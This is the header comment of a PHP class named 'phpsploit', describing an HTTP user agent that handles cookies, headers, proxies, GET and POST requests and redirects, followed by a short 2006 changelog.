* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2006-12-31] (1.1)
*  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
*  * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
*  * First version
*
